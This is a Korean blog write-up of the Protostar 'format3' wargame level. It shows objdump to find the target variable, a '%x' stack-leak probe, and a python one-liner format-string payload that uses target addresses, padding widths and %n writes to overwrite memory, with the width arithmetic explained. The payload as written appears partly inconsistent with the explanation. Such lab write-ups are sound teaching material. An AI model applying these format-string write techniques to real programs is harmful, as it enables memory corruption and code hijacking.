본문 바로가기

system

[protostar]format3

반응형

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.

This level is at /opt/protostar/bin/format3

버퍼 크기가 512이고 버퍼를 입력 받는다.

target이 0x01025544일 때 문제가 풀린다.

 

target위치부터 봐야겠다.

 

objdump -t ./format3 | grep target

target의 위치를 보니, '080496f4'가 나온다.

이번에도 target값을 바꿔야 하는데, 이번엔 상당히 길다.

 

echo $(python -c "print 'AAAA' + '%x.' * 12") | ./format3

일단 값이 어떻게 출력되는지 확인해보기 위해 13대신 다양한 값들을 넣어본다.

13이 딱 적당하게 우리가 출력하고자 하는 41414141:에서 끝나기 때문에 이 정도임을 확인했다.

 

이제 target을

01025544로 바꿔야 하기 때문에 이번엔 나눠서 해야 한다.

 

(python -c 'print "AAAA" + "\xf4\x96\x04\x08" + "AAAA" + "\xf5\x96\x04\x08" + "AAAA" + "\xf7\x96\x04\x08" + "%x"*11 + "%213x" + "\n" + "%271x" + "%n" + "%170x" + "%n"')|./format3

앞의 문제에서 했던 것처럼 AAAA를 사용하고, 마찬가지로 target의 주소를 넣는다.

 

여기서 값을 채울 때 

바꿀 값은 01025544인데, 01 / 0255 /44 로 나눠서 놓도록 한다.

 

그래서 f4, f5, f7이렇게 값을 넣는 것으로 바이트를 변경한다.

 

이제 값을 넣는다.

일단 끝은 44이니 44부터 한다.

44에서 44의 %8x인 77을 빼고 10진수 8을 더하면 된다. 근데 44에서 빼면 마이너스니까 앞에 1을 붙여서 한다.

0x144 (16진수) - 0x77  + 8  = 213

 

이런 식으로 진행해나가면 각각 213, 271, 170이 나온다.

 

 

반응형

'system' 카테고리의 다른 글

[protostar]heap0  (0) 2020.11.07
[protostar]format4  (0) 2020.11.05
[protostar]format2  (0) 2020.11.04
[protostar]Format1  (0) 2020.11.03
[protostar]format0  (0) 2020.11.02